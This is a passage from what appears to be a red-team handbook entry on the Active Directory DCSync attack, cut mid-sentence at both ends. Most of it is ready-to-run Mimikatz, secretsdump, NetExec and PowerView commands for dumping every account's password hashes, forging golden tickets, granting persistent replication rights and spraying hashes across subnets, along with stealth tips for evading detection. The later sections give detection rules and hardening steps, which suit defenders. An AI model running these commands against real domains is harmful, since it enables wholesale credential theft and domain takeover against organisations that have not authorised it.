synchronize Active Directory data between each other during normal replication. An attacker with the correct replication permissions can impersonate a Domain Controller and request the DC to send replication data containing password hashes for any or all domain accounts. + +The attack works by triggering the `GetNCChanges` RPC function (via the `DRSUAPI` interface) from a non-DC workstation. The target Domain Controller processes this as a legitimate replication request and responds with the requested user's credential material, including **NT hashes, Kerberos AES keys, old password hashes, and password history**. The entire exchange happens over the network using standard RPC — no malware needs to be deployed on the DC, no LSASS memory is accessed, and the NTDS.dit file is never read from disk. + +> [!info]+ Technical Deep-Dive — DRSUAPI GetNCChanges Flow +> `ris:FileList` +> 1. The attacker binds to the DC's **DRSUAPI RPC endpoint** (UUID `e3514235-4b06-11d1-ab04-00c04fc2dcd2`) over TCP 135 → dynamic RPC port +> 2. Calls `DRSBind` to establish a replication context handle with the DC +> 3. Calls `DRSGetNCChanges` specifying the target account's **Distinguished Name** (or requesting the entire naming context) +> 4. The DC validates the caller has both **DS-Replication-Get-Changes** and **DS-Replication-Get-Changes-All** extended rights on the domain NC head +> 5. The DC responds with `REPLENTINFLIST` structures containing **NTLM hashes** (via `unicodePwd`), **Kerberos keys** (via `supplementalCredentials`), and **password history** (via `lmPwdHistory` / `ntPwdHistory`) +> 6. *The attacker decodes the PEK-encrypted attributes locally — the DC performs decryption before transmission when the session is authenticated* + +### Required Permissions + +DCSync requires the requesting principal to have specific extended rights on the domain's root object (the domain naming context): + +| Permission (ACE) | GUID | Who Has It by Default | +|---|---|---| +| **Replicating Directory Changes** (DS-Replication-Get-Changes) | `1131f6aa-9c07-11d1-f79f-00c04fc2dcd2` | Domain Admins, Enterprise Admins, Administrators, DCs | +| **Replicating Directory Changes All** (DS-Replication-Get-Changes-All) | `1131f6ad-9c07-11d1-f79f-00c04fc2dcd2` | Domain Admins, Enterprise Admins, Administrators, DCs | + +Both permissions are required simultaneously. Having only one is insufficient — `Get-Changes` alone provides attribute data but not secret data (password hashes); `Get-Changes-All` alone doesn't grant the replication request capability. + +> [!warning]+ Third Replication Right — DS-Replication-Get-Changes-In-Filtered-Set +> `fas:TriangleExclamation` +> 1. GUID: `89e95b76-444d-4c62-991a-0facbeda640c` +> 2. This third replication right controls access to **RODC-filtered attributes** (confidential attributes excluded from Read-Only Domain Controllers) +> 3. Some tools (e.g., older [Mimikatz](https://github.com/gentilkiwi/mimikatz) versions) may fail to extract certain attributes without this right +> 4. *In practice, DA/EA groups have this right by default, so it only matters when manually granting DCSync to a custom principal* + +### The Full Attack Flow + +``` +1. Obtain Domain Admin privileges (or an account with replication rights) + - Or: find a non-DA account that has been granted replication rights (ACL abuse) +2. From any domain-joined machine, run DCSync (no need to be on the DC) +3. Request replication data for specific users or all users +4. Receive NT hashes, AES keys, and password history +5. Use extracted hashes for: + - Pass-the-Hash (Attack #4) + - Golden Ticket forging with KRBTGT hash (Attack #11) + - Offline password cracking + - Silver Ticket forging (Attack #12) +``` + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Account with replication rights** | Domain Admins, Enterprise Admins, Administrators, or any account with both DS-Replication-Get-Changes + Get-Changes-All ACEs | +| **Network access to DC** | RPC/DRSUAPI access (TCP 135 + dynamic RPC ports, or TCP 49152+) | +| **No DC access needed** | Works from any domain-joined workstation — this is a remote attack | + +*** + +## 🛠️ Tools + +| Tool | Platform | Version | Notes | +|---|---|---|---| +| [Mimikatz](https://github.com/gentilkiwi/mimikatz) | Windows | ≥ 2.2.0 | `lsadump::dcsync` — the original DCSync implementation | +| [Impacket — secretsdump.py](https://github.com/fortra/impacket) | Linux | ≥ 0.10.0 | `-just-dc` flags — most common Linux method | +| [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec) / [NetExec](https://github.com/Pennyw0rth/NetExec) | Linux | NXC ≥ 1.1.0 | `--ntds drsuapi` — DCSync via CME/NXC | +| [DSInternals](https://github.com/MichaelGrafnetter/DSInternals) | Windows/PowerShell | ≥ 4.7 | `Get-ADReplAccount` — PowerShell-native DCSync | +| [SharpKatz](https://github.com/b4rtik/SharpKatz) | Windows (.NET) | Latest | DCSync via a Mimikatz-derived .NET assembly — useful for C2 `execute-assembly` | +| [bloodyAD](https://github.com/CravateRouge/bloodyAD) | Linux/Python | ≥ 1.0.0 | Check & grant replication rights — pairs with secretsdump | +| [dacledit.py](https://github.com/fortra/impacket) | Linux | Impacket ≥ 0.10.0 | Read/write DACLs for granting DCSync rights | + +> [!tip]+ Tool Version Compatibility Notes +> `fas:Lightbulb` +> 1. **Impacket 0.12.0+** changed the module layout — `secretsdump.py` is now under `impacket/examples/`; install via `pipx install impacket` for correct PATH resolution +> 2. **NetExec** replaced CrackMapExec (archived) — use `nxc` binary; `crackmapexec` is legacy +> 3. **DSInternals 4.8+** supports Azure AD Kerberos keys (`msDS-ManagedPassword` for gMSA accounts) +> 4. **SharpKatz** must match the target .NET CLR version — compile for .NET 4.0 for Server 2012/2016, .NET 4.8 for 2019+ + +*** + +## ⏱️ Time-to-Execute Estimates + +| Operation | Time | Notes | +|---|---|---| +| Single-user DCSync | **2–5 seconds** | One DRSUAPI call round-trip | +| Full domain dump (1,000 users) | **30–90 seconds** | Depends on network speed and attribute count | +| Full domain dump (50,000+ users) | **10–30 minutes** | Enterprise environments; consider single-user targeting instead | +| Granting DCSync rights (ACL write) | **1–3 seconds** | Near-instant LDAP modification | + +*** + +## 💻 Full Commands + +### 🔵 Step 0 — Check If You Have Replication Rights + +```powershell +# ── PowerView — enumerate who has DCSync rights ────────────────────────────── +Import-Module .\PowerView.ps1 +Get-ObjectACL "DC=corp,DC=local" -ResolveGUIDs | + Where-Object { + ($_.ObjectAceType -match 'Replication-Get') -or + ($_.ActiveDirectoryRights -match 'GenericAll') + } | Select-Object SecurityIdentifier, ObjectAceType | + ForEach-Object { + $_ | Add-Member -NotePropertyName Principal -NotePropertyValue ( + Convert-SidToName $_.SecurityIdentifier + ) -PassThru + } + +# ── AD Module — check specific user ────────────────────────────────────────── +(Get-Acl "AD:DC=corp,DC=local").Access | + Where-Object { $_.ObjectType -eq "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" } | + Select-Object IdentityReference + +# ── Native — verify your current rights ─────────────────────────────────────── +whoami /all +# Check group memberships for: Domain Admins, Enterprise Admins, Administrators +``` + +```bash +# ── Linux — check replication rights with bloodyAD ──────────────────────────── +bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \ + get writable --right 'REPLICATION' + +# ── Impacket — FindDelegation / dacledit ────────────────────────────────────── +dacledit.py -action read -target-dn "DC=corp,DC=local" \ + corp.local/low_user:'Password1' -dc-ip 10.10.10.10 +``` + +*** + +### 🔴 DCSync — Single User (Extract Specific Account Hash) + +#### Mimikatz (Windows) + +```powershell +# ── DCSync a single user — extract Administrator hash ───────────────────────── +privilege::debug +lsadump::dcsync /domain:corp.local /user:Administrator + +# Output contains: +# SAM Username : Administrator +# Hash NTLM : 2b576acbe6bcfda7294d6bd18041b8fe ← NT hash +# aes256_hmac : b65fb27c... ← AES256 key +# aes128_hmac : a1b2c3d4... ← AES128 key +# Credentials (old) : <previous password hashes> ← Password history + +# ── DCSync the KRBTGT account (for Golden Ticket forging) ──────────────────── +lsadump::dcsync /domain:corp.local /user:krbtgt + +# ── DCSync a specific user by SID ──────────────────────────────────────────── +lsadump::dcsync /domain:corp.local /user:CN=svc_backup,CN=Users,DC=corp,DC=local + +# ── DCSync using /all to dump every single account ──────────────────────────── +lsadump::dcsync /domain:corp.local /all /csv +# ⚠️ LOUD — dumps every account; use single-user requests in stealth operations +``` + +#### Impacket — secretsdump.py (Linux) + +```bash +# ── DCSync single user — extract Administrator hash ─────────────────────────── +secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local \ + -just-dc-user Administrator + +# ── DCSync KRBTGT (for Golden Ticket) ───────────────────────────────────────── +secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local \ + -just-dc-user krbtgt + +# ── DCSync with Pass-the-Hash (no password needed) ──────────────────────────── +secretsdump.py corp.local/Administrator@DC01.corp.local \ + -hashes :2b576acbe6bcfda7294d6bd18041b8fe \ + -just-dc-user krbtgt + +# ── DCSync with Kerberos authentication ─────────────────────────────────────── +export KRB5CCNAME=administrator.ccache +secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local \ + -just-dc-user krbtgt +``` + +#### SharpKatz (Windows — .NET Assembly for C2) + +```powershell +# ── Via Cobalt Strike / Sliver execute-assembly ────────────────────────────── +execute-assembly /path/to/SharpKatz.exe --Command dcsync --User Administrator --Domain corp.local --DomainController DC01.corp.local + +# ── Standalone ──────────────────────────────────────────────────────────────── +SharpKatz.exe --Command dcsync --User krbtgt --Domain corp.local --DomainController DC01.corp.local +``` + +> [!info]+ Command Breakdown — secretsdump.py Flags +> `ris:Command` +> 1. **`-just-dc`**: Only perform DCSync (DRSUAPI replication); skip SAM/LSA/DPAPI extraction that requires SMB admin access. Outputs NT hashes + Kerberos keys + cleartext passwords (if reversible encryption enabled) +> 2. **`-just-dc-ntlm`**: Same as `-just-dc` but only extract NT hashes (no Kerberos keys). Faster; smaller output files +> 3. **`-just-dc-user <user>`**: DCSync only the specified user — single DRSUAPI request, much stealthier than full dump +> 4. **`-history`**: Include password history hashes — useful for finding password reuse patterns and cracking previous passwords +> 5. **`-outputfile <prefix>`**: Write results to files with the given prefix (`.ntds`, `.ntds.kerberos`, `.ntds.cleartext` extensions) +> 6. **`-hashes :<NT_HASH>`**: Authenticate via Pass-the-Hash — no cleartext password needed +> 7. **`-k -no-pass`**: Authenticate via Kerberos using a ccache ticket — stealthiest auth method; requires `KRB5CCNAME` environment variable set +> 8. *The `-just-dc` family of flags is what makes secretsdump.py perform DCSync (DRSUAPI) instead of SMB-based NTDS.dit extraction* + +*** + +### 🔴 DCSync — Specific High-Value Targets + +```bash +# ── gMSA (Group Managed Service Account) password extraction ────────────────── +# gMSA passwords are stored in msDS-ManagedPassword — DCSync can extract them +secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local \ + -just-dc-user 'gMSA_svc$' +# The supplementalCredentials will contain the gMSA password blob +# Decode with: gMSADumper.py or DSInternals + +# ── LAPS (Local Admin Password Solution) ────────────────────────────────────── +# LAPS passwords are stored in ms-MCS-AdmPwd (LAPS v1) or msLAPS-Password (LAPS v2) +# DCSync extracts ALL attributes — but LAPS passwords are in the computer object, not user +# You need to query the computer object specifically: +secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local \ + -just-dc-user 'WORKSTATION01$' + +# ── KRBTGT for every domain in the forest (multi-domain) ───────────────────── +# If you have Enterprise Admin, DCSync the child domain's KRBTGT: +secretsdump.py corp.local/EntAdmin:'Password1'@CHILDDC.child.corp.local \ + -just-dc-user krbtgt + +# ── RODC (Read-Only DC) KRBTGT — krbtgt_NNNNN ──────────────────────────────── +# RODCs have their own KRBTGT account (krbtgt_<RID>): +secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local \ + -just-dc-user 'krbtgt_12345' +# This KRBTGT can forge tickets accepted by that specific RODC only +``` + +> [!tip]+ gMSA Password Extraction Deep-Dive +> `fas:Lightbulb` +> 1. gMSA passwords are 256 bytes of random data, auto-rotated every 30 days by default +> 2. The `msDS-ManagedPassword` attribute is a **constructed attribute** — not directly stored in NTDS.dit but computed at query time +> 3. **DCSync CAN extract the NT hash** of a gMSA account — the hash is stored in `unicodePwd` like any other account +> 4. For the full gMSA password blob (useful for decrypting DPAPI or service configs), use [gMSADumper.py](https://github.com/micahvandeusen/gMSADumper) or [DSInternals](https://github.com/MichaelGrafnetter/DSInternals) `Get-ADReplAccount` +> 5. *gMSA accounts are increasingly common in modern AD environments — always check for them during DCSync* + +*** + +### 🔴 DCSync — Advanced Auth Variants + +```bash +# ── Via SOCKS proxy (through C2 tunnel) ─────────────────────────────────────── +proxychains secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local \ + -just-dc-user krbtgt +# Useful when attacking through a Cobalt Strike / Chisel / Ligolo SOCKS tunnel + +# ── Via certificate authentication (PKINIT) ────────────────────────────────── +certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 -username Administrator +# Outputs: administrator.ccache +export KRB5CCNAME=administrator.ccache +secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local -just-dc + +# ── Via Silver Ticket (if you have a service account hash for the DC) ───────── +# Forge a Silver Ticket for the DC's DRSUAPI SPN: +ticketer.py -nthash <DC_MACHINE_HASH> -domain-sid S-1-5-21-... \ + -domain corp.local -spn E3514235-4B06-11D1-AB04-00C04FC2DCD2/DC01.corp.local \ + Administrator +export KRB5CCNAME=Administrator.ccache +secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local -just-dc +# ⚠️ Silver Ticket DCSync is unusual but works — the DC validates the SPN, not group membership + +# ── From a non-domain-joined Linux box ──────────────────────────────────────── +# You need to configure /etc/krb5.conf with the domain realm and DC KDC: +# [realms] +# CORP.LOCAL = { kdc = DC01.corp.local } +# Then: +secretsdump.py corp.local/Administrator:'Password1'@10.10.10.10 \ + -just-dc-user krbtgt -target-ip 10.10.10.10 +``` + +*** + +### 🔴 Automation — One-Liner Attack Chains + +```bash +# ── Full DCSync → Golden Ticket → PsExec chain ─────────────────────────────── +# Step 1: DCSync KRBTGT +KRBTGT=$(secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local \ + -just-dc-user krbtgt 2>/dev/null | grep "Kerberos keys" -A1 | grep aes256 | awk '{print $2}') + +# Step 2: Get domain SID +DSID=$(lookupsid.py corp.local/Administrator:'Password1'@DC01.corp.local 0 2>/dev/null | grep "Domain SID" | awk '{print $NF}') + +# Step 3: Forge Golden Ticket +ticketer.py -aesKey $KRBTGT -domain-sid $DSID -domain corp.local Administrator + +# Step 4: Use it +export KRB5CCNAME=Administrator.ccache +psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local + +# ── Quick spray extracted hashes for local admin reuse ──────────────────────── +secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local \ + -just-dc-ntlm -outputfile dump && \ + grep -v '\$:' dump.ntds | cut -d: -f4 | sort -u > unique_hashes.txt && \ + nxc smb 10.10.10.0/24 -u Administrator -H unique_hashes.txt --local-auth --continue-on-success +``` + +*** + +### 🔴 DCSync — Full Domain Dump (All Users) + +#### Impacket — secretsdump.py (Linux) + +```bash +# ── Full DCSync — dump ALL domain account hashes ────────────────────────────── +secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local \ + -just-dc-ntlm -outputfile domain_hashes + +# Output files: +# domain_hashes.ntds ← All NT hashes (username:RID:LM:NT:::) +# domain_hashes.ntds.kerberos ← All Kerberos keys (AES256, AES128, DES) +# domain_hashes.ntds.cleartext ← Any reversible encryption passwords + +# ── Full dump including Kerberos keys ───────────────────────────────────────── +secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local \ + -just-dc -outputfile full_domain_dump + +# ── Dump with password history ──────────────────────────────────────────────── +secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local \ + -just-dc -history -outputfile domain_with_history + +# ── Using PtH ──────────────────────────────────────────────────────────────── +secretsdump.py corp.local/Administrator@DC01.corp.local \ + -hashes :2b576acbe6bcfda7294d6bd18041b8fe \ + -just-dc-ntlm -outputfile domain_hashes +``` + +#### CrackMapExec / NetExec (Linux) + +```bash +# ── DCSync via NetExec ──────────────────────────────────────────────────────── +nxc smb DC01.corp.local -u Administrator -p 'Password1' --ntds drsuapi + +# ── With PtH ────────────────────────────────────────────────────────────────── +nxc smb DC01.corp.local -u Administrator -H 2b576acbe6bcfda7294d6bd18041b8fe --ntds drsuapi + +# ── Output to file ──────────────────────────────────────────────────────────── +nxc smb DC01.corp.local -u Administrator -p 'Password1' --ntds drsuapi \ + --output domain_hashes.txt + +# ── Kerberos auth ───────────────────────────────────────────────────────────── +export KRB5CCNAME=administrator.ccache +nxc smb DC01.corp.local -u Administrator -k --ntds drsuapi +``` + +#### Mimikatz (Windows) + +```powershell +# ── Dump all users via DCSync ───────────────────────────────────────────────── +privilege::debug +lsadump::dcsync /domain:corp.local /all /csv +# Output: CSV format with all usernames and NT hashes +``` + +#### DSInternals (PowerShell) + +```powershell +# ── PowerShell-native DCSync ────────────────────────────────────────────────── +Install-Module DSInternals -Force +Import-Module DSInternals + +# Single user +Get-ADReplAccount -SamAccountName Administrator -Server DC01.corp.local + +# All users +Get-ADReplAccount -All -Server DC01.corp.local | + Select-Object SamAccountName, @{N='NTHash';E={$_.NTHash | ConvertTo-Hex}} | + Export-Csv domain_hashes.csv -NoTypeInformation + +# ── Extract gMSA passwords via replication ──────────────────────────────────── +Get-ADReplAccount -SamAccountName 'gMSA_svc$' -Server DC01.corp.local | + Select-Object -ExpandProperty Supplementalcredentials +``` + +*** + +### 🔴 Granting DCSync Rights (Persistence / ACL Abuse — Attack #65) + +```powershell +# ── If you have GenericAll/WriteDACL on the domain object, grant yourself DCSync ─ + +# PowerView — add Replicating Directory Changes + All to a user +Import-Module .\PowerView.ps1 +Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" \ + -PrincipalIdentity low_user \ + -Rights DCSync -Verbose + +# ── Now low_user can DCSync from any machine ────────────────────────────────── +lsadump::dcsync /domain:corp.local /user:krbtgt +# Works because low_user now has both replication ACEs +``` + +```bash +# ── Linux — grant DCSync rights via dacledit.py ─────────────────────────────── +dacledit.py -action write -rights DCSync \ + -principal low_user -target-dn "DC=corp,DC=local" \ + corp.local/DA_user:'Password1' -dc-ip 10.10.10.10 + +# ── bloodyAD ────────────────────────────────────────────────────────────────── +bloodyAD -d corp.local -u DA_user -p 'Password1' --host DC01.corp.local \ + add dcsync low_user + +# ── Remove DCSync rights (cleanup) ─────────────────────────────────────────── +dacledit.py -action remove -rights DCSync \ + -principal low_user -target-dn "DC=corp,DC=local" \ + corp.local/DA_user:'Password1' -dc-ip 10.10.10.10 + +bloodyAD -d corp.local -u DA_user -p 'Password1' --host DC01.corp.local \ + remove dcsync low_user +``` + +*** + +### 🔴 Post-DCSync — What to Do with the Hashes + +```bash +# ── 1. Forge a Golden Ticket with KRBTGT hash ──────────────────────────────── +ticketer.py -nthash <KRBTGT_HASH> \ + -domain-sid S-1-5-21-3878595448-1012506728-1948843120 \ + -domain corp.local Administrator + +# ── 2. Pass-the-Hash with Administrator hash ───────────────────────────────── +nxc smb 10.10.10.0/24 -u Administrator -H <NT_HASH> --local-auth +psexec.py corp.local/Administrator@DC01.corp.local -hashes :<NT_HASH> +evil-winrm -i DC01.corp.local -u Administrator -H <NT_HASH> + +# ── 3. Crack hashes offline ────────────────────────────────────────────────── +hashcat -m 1000 domain_hashes.ntds rockyou.txt --force +john --format=NT domain_hashes.ntds --wordlist=rockyou.txt + +# ── 4. Spray hashes across the network (local admin reuse) ─────────────────── +nxc smb 10.10.10.0/24 -u Administrator -H <NT_HASH> --local-auth +# Find which machines have the same local admin hash = credential reuse +``` + +*** + +## 🎯 OPSEC Tips + +1. **Single-user DCSync is stealthier than full dump** — targeting specific accounts (krbtgt, Administrator) generates fewer replication events than dumping the entire directory +2. **DCSync from a workstation, not the DC** — replication requests from a workstation IP are the anomaly that detection relies on; but running from the DC itself blends with legitimate replication (if you already have DC access) +3. **Use Kerberos auth over NTLM** — NTLM-authenticated DCSync generates additional network logon events; Kerberos blends with normal traffic +4. **DCSync leaves NO artifacts on the DC** — no files written, no LSASS access, no process injection; it's purely a network-level operation +5. **Time your attacks** — DCSync during business hours when legitimate replication traffic is high creates more noise to hide in +6. **Target specific high-value accounts** — KRBTGT (Golden Ticket), service accounts (Silver Tickets), and DA accounts; don't dump everything unless you need to +7. **Avoid running from a non-domain-joined machine** — some EDRs flag DRSUAPI calls from IPs with no corresponding AD computer object + +### 📊 OpSec Ranking + +| Method | Stealth | Speed | Reliability | Notes | +|---|---|---|---|---| +| Mimikatz single-user | 🟡 Medium | 🟢 Fast | 🟢 High | Detected by most EDR on-disk; use from memory | +| secretsdump.py single-user (Kerberos) | 🟢 High | 🟢 Fast | 🟢 High | Best overall — network-only, Kerberos auth | +| secretsdump.py full dump | 🔴 Low | 🟡 Medium | 🟢 High | Massive replication traffic = easy to spot | +| NetExec `--ntds drsuapi` | 🟡 Medium | 🟡 Medium | 🟢 High | Convenient but logs SMB + DRSUAPI | +| DSInternals | 🟡 Medium | 🟡 Medium | 🟡 Medium | PowerShell logging catches module loads | +| SharpKatz (in-memory .NET) | 🟢 High | 🟢 Fast | 🟡 Medium | Good for C2; avoids disk touches | + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4662** | Security Log (DC) | Directory Service Access — GUID `{1131f6aa-...}` or `{1131f6ad-...}` from a **non-DC account** | +| **4624** | Security Log (DC) | Network logon (Type 3) from the source IP performing DCSync | +| **4672** | Security Log (DC) | Special privileges assigned to the DCSync session | + +**Primary detection signature:** Event ID **4662** is the definitive DCSync indicator. Configure "Audit Directory Service Access" in Advanced Audit Policy, then alert on 4662 events where: +1. The `Properties` field contains GUID `{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}` (Replication-Get-Changes-All) +2. The `Account Name` does **NOT** end with `$` (non-computer account) — or is a computer account that is NOT a legitimate Domain Controller + +Additionally, **network-level detection** is highly effective: monitor for DRSUAPI RPC calls (`DsGetNCChanges`) originating from IP addresses that are not registered Domain Controllers. Tools like Microsoft Defender for Identity (MDI) and Zeek/Bro IDS can detect this pattern with high confidence. + +### 🔎 Sigma Rules + +```yaml +# ── SigmaHQ — DCSync Activity (Event ID 4662) ─────────────────────────────── +title: Potential DCSync Attack +id: 5f842047-8e40-4e44-a88e-9c6c3c42b1b0 +status: stable +logsource: + product: windows + service: security +detection: + selection: + EventID: 4662 + Properties|contains: + - '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2' + - '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2' + filter_dc: + SubjectUserName|endswith: '$' + condition: selection and not filter_dc +level: critical +tags: + - attack.credential_access + - attack.t1003.006 +``` + +```yaml +# ── SigmaHQ — DCSync Rights Granted ───────────────────────────────────────── +title: DCSync Rights Granted to User Account +id: 56ab2f68-7859-4886-a0c3-c0bca7379ce0 +logsource: + product: windows + service: security +detection: + selection: + EventID: 5136 + AttributeLDAPDisplayName: 'nTSecurityDescriptor' + ObjectClass: 'domainDNS' + condition: selection +level: high +``` + +### 🌐 Network-Level Detection (Zeek / Suricata) + +```zeek +# ── Zeek script — detect DRSUAPI DsGetNCChanges from non-DC sources ────────── +# File: detect-dcsync.zeek +event dce_rpc_request(c: connection, fid: count, opnum: count, stub_len: count) { + # DRSUAPI UUID: e3514235-4b06-11d1-ab04-00c04fc2dcd2 + # OpNum 3 = DsGetNCChanges + if (opnum == 3) { + local src = c$id$orig_h; + if (src !in known_dcs) { + NOTICE([$note=DCSync_Attempt, + $msg=fmt("DsGetNCChanges from non-DC: %s → %s", src, c$id$resp_h), + $conn=c]); + } + } +} +``` + +```yaml +# ── Suricata rule — DRSUAPI traffic from non-DC ────────────────────────────── +alert tcp !$DC_SERVERS any -> $DC_SERVERS any ( + msg:"ATTACK [DCSync] DRSUAPI DsGetNCChanges from non-DC"; + content:"|05 00 00|"; offset:0; depth:3; # DCE/RPC request header + content:"|35 42 51 e3 06 4b d1 11 ab 04 00 c0 4f c2 dc d2|"; # DRSUAPI UUID + reference:url,attack.mitre.org/techniques/T1003/006/; + classtype:credential-access; + sid:2024001; rev:1; +) +``` + +### 🛡️ EDR-Specific Detections + +> [!warning]+ Microsoft Defender for Identity (MDI) +> `ris:Windows` +> 1. **"Suspected DCSync attack (replication of directory services)"** — high-confidence alert triggered when a non-DC machine calls DsGetNCChanges +> 2. MDI correlates the source IP against registered DC objects in AD — any mismatch triggers the alert +> 3. **"Malicious replication request"** — fires when a user account (not machine account) initiates replication +> 4. *MDI is considered the gold standard for DCSync detection — it has near-zero false positives in most environments* + +> [!warning]+ CrowdStrike Falcon +> `ris:Radar` +> 1. **"DCSync Credential Dumping"** — detects DRSUAPI GetNCChanges from non-DC endpoints +> 2. Falcon monitors RPC traffic and correlates with endpoint process trees +> 3. Also detects SharpKatz and Mimikatz in-memory execution via behavioral indicators (AMSI bypass, reflective loading patterns) + +> [!warning]+ Elastic Security +> `ris:FileList` +> 1. Rule: **"Potential Credential Access via DCSync"** — correlates 4662 events with replication GUIDs +> 2. Rule: **"Unusual DRSUAPI DsGetNCChanges RPC"** — network-level detection via Packetbeat / Zeek +> 3. Kibana detection rule ID: `credential_access_dcsync` + +*** + +## 🔬 Forensic Artifacts + +| Artifact | Location | Details | +|---|---|---| +| **Event 4662** | DC Security Log | Contains SubjectUserSid, ObjectType GUIDs, and Properties accessed | +| **Event 4624** | DC Security Log | Network logon from attacker IP — Type 3 with NTLM or Kerberos | +| **RPC traffic** | Network capture | DRSUAPI `DsGetNCChanges` requests on dynamic RPC ports (49152+) | +| **Replication metadata** | `repadmin /showmeta` | `msDS-ReplAttributeMetaData` shows last replication source — won't show DCSync (no actual replication occurs) | +| **ACL modifications** | Event 5136 / nTSecurityDescriptor | If attacker granted themselves DCSync rights, the ACL change is logged | +| **No disk artifacts on DC** | N/A | DCSync leaves zero forensic artifacts on the target DC's filesystem — this is purely network-based | + +*** + +> [!important]+ Windows Server Version Differences +> `ris:Windows` +> 1. **Server 2016+**: Advanced Audit Policy "Audit Directory Service Access" must be explicitly enabled — it's not on by default in all SKUs +> 2. **Server 2019+**: Windows Defender Credential Guard protects LSASS but does **NOT** prevent DCSync — DCSync doesn't touch LSASS +> 3. **Server 2022**: No new mitigations against DCSync — still relies on ACL auditing and network monitoring +> 4. **Server 2025**: Microsoft introduced **Credential Guard by default** on new installs, but again this does NOT mitigate DCSync; the only effective control remains auditing replication ACLs and monitoring 4662 events +> 5. *DCSync will remain exploitable as long as the DS-Replication protocol exists — it's a feature, not a bug; the mitigation is controlling WHO has replication rights* + +*** + +## 🔒 Hardening & Prevention + +```powershell +# ── 1. Audit who currently has DCSync rights ────────────────────────────────── +Import-Module ActiveDirectory +(Get-Acl "AD:DC=corp,DC=local").Access | + Where-Object { + $_.ObjectType -eq "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" -or + $_.ObjectType -eq "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" + } | Select-Object IdentityReference, ActiveDirectoryRights, ObjectType | + Format-Table -AutoSize + +# ── 2. Remove DCSync rights from unnecessary accounts ───────────────────────── +# Use ADSI to remove specific ACEs — replace SID with the target principal +$acl = Get-Acl "AD:DC=corp,DC=local" +$acl.Access | Where-Object { $_.IdentityReference -eq "CORP\unnecessary_user" } | + ForEach-Object { $acl.RemoveAccessRule($_) } +Set-Acl "AD:DC=corp,DC=local" $acl + +# ── 3. Enable Advanced Audit Policy for Directory Service Access ────────────── +auditpol /set /subcategory:"Directory Service Access" /success:enable /failure:enable +auditpol /set /subcategory:"Directory Service Changes" /success:enable /failure:enable + +# ── 4. GPO — Enable auditing domain-wide ───────────────────────────────────── +# Computer Configuration → Policies → Windows Settings → Security Settings → +# Advanced Audit Policy Configuration → DS Access → +# ✅ Audit Directory Service Access: Success, Failure +# ✅ Audit Directory Service Changes: Success, Failure + +# ── 5. Monitor ACL changes on the domain object ────────────────────────────── +# Enable SACL on DC=corp,DC=local for "Modify permissions" operations +# This generates Event 4662 when anyone changes the domain DACL + +# ── 6. Restrict privileged group membership ─────────────────────────────────── +# Use AdminSDHolder + SDProp to protect DA/EA groups +# Implement Tiered Administration (Tier 0 for DC access only) + +# ── 7. Deploy MDI or equivalent DRSUAPI monitoring ──────────────────────────── +# Microsoft Defender for Identity sensors on all DCs +# Or: Zeek/Bro IDS with DRSUAPI protocol analyzer + +# ── 8. Network segmentation — restrict RPC from workstations to DCs ─────────── +# Windows Firewall on DCs: +New-NetFirewallRule -DisplayName "Block DRSUAPI from non-DCs" ` + -Direction Inbound -Protocol TCP -LocalPort 49152-65535 ` + -RemoteAddress "10.10.10.0/24" -Action Block +# ⚠️ Be very careful — this can break legitimate admin tools; test thoroughly +``` + +*** + +## 🧩 Troubleshooting + +| Error | Cause | Fix | +|---|---|---| +| `ERROR_DS_DRA_ACCESS_DENIED` / `0x2105` | Account lacks one or both replication rights | Verify both `Get-Changes` + `Get-Changes-All` ACEs are present on the account | +| `RPC_S_ACCESS_DENIED` on bind | Firewall blocking RPC dynamic ports to DC | Ensure TCP 135 + 49152-65535 are open from attacker to DC; or use `--target-ip` with secretsdump | +| Mimikatz `ERROR kuhl_m_lsadump_dcsync` | Running without `privilege::debug` / not elevated | Run as admin and execute `privilege::debug` first; or use `token::elevate` | +| secretsdump returns `0 hashes` | Specified wrong domain or user doesn't exist | Double-check domain FQDN (`corp.local` not `CORP`); verify user's sAMAccountName | +| `KRB_AP_ERR_SKEW` with Kerberos auth | Time difference > 5 minutes between attacker and DC | Sync clock: `ntpdate DC01.corp.local` or `rdate -s DC01.corp.local` | +| NetExec `STATUS_ACCESS_DENIED` | Account not in DA or doesn't have replication rights | Verify group membership or explicitly granted ACEs; try `-k` for Kerberos instead of NTLM | +| DSInternals `Get-ADReplAccount` fails | Module not installed or DC unreachable | `Install-Module DSInternals -Force`; verify DC hostname resolves and RPC ports are open | +| Partial hashes / missing AES keys | Used `-just-dc-ntlm` instead of `-just-dc` | Use `-just-dc` (no `-ntlm` suffix) to get NT hashes + Kerberos keys + cleartext | + +*** + +## 🗺️ MITRE ATT&CK + +| Tactic | Technique ID | Sub-technique | Procedure | APT Groups | +|---|---|---|---|---| +| **Credential Access** | [T1003](https://attack.mitre.org/techniques/T1003/) | [.006 — DCSync](https://attack.mitre.org/techniques/T1003/006/) | Use DRSUAPI GetNCChanges to replicate credential data from DC | [APT29](https://attack.mitre.org/groups/G0016/) (Cozy Bear), [FIN6](https://attack.mitre.org/groups/G0037/), 